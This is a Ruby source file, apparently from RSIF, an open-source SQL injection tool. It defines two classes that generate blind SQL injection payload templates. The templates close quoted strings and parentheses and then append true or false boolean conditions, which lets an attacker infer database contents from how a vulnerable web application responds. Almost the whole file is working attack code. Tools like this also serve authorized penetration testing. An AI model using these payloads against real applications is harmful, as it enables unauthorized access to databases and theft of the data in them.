=begin

This file is part of the RSIF project, http://rsif.googlecode.com

Copyright (c) 2009-2009 Roberto Dario Seminara

rsif is free software: you can redistribute it and/or modify
it under the terms of the gnu general public license as published by
the free software foundation, either version 3 of the license, or
(at your option) any later version.

rsif is distributed in the hope that it will be useful,
but without any warranty; without even the implied warranty of
merchantability or fitness for a particular purpose.  see the
gnu general public license for more details.

you should have received a copy of the gnu general public license
along with rsif.  if not, see <http://www.gnu.org/licenses/>.


=end
class SqlBlindBreakFalsePattern < BlindSqlPattern

	condition do |context|
		1 #context.symbol(:blind_input_false)
	end

	def false_value
		context.symbol(:blind_input_false)
	end

	def run(context)
		yield( "#{false_value} or (%s)" )

		(0..3).each do |parentesis|
			# comillas simples
			yield( "#{false_value}'#{")"*parentesis} or (%s) or '1'=#{"("*parentesis}'0" )

			# comillas dobles
			yield( "#{false_value}\"#{")"*parentesis} or (%s) or \"1\"=#{"("*parentesis}\"0" )
		end
	end
end

class SqlBlindBreakTruePattern < BlindSqlPattern

	condition do |context|
		context.symbol(:blind_input_true)
	end

	def true_value
		context.symbol(:blind_input_true)
	end

	def run(context)
		yield( "#{true_value} or (%s)" )

		(0..3).each do |parentesis|
			# comillas simples
			yield( "#{true_value}'#{")"*parentesis} and (%s) and '0'=#{"("*parentesis}'0" )

			# comillas dobles
			yield( "#{true_value}\"#{")"*parentesis} and (%s) and \"0\"=#{"("*parentesis}\"0" )
		end
	end
end

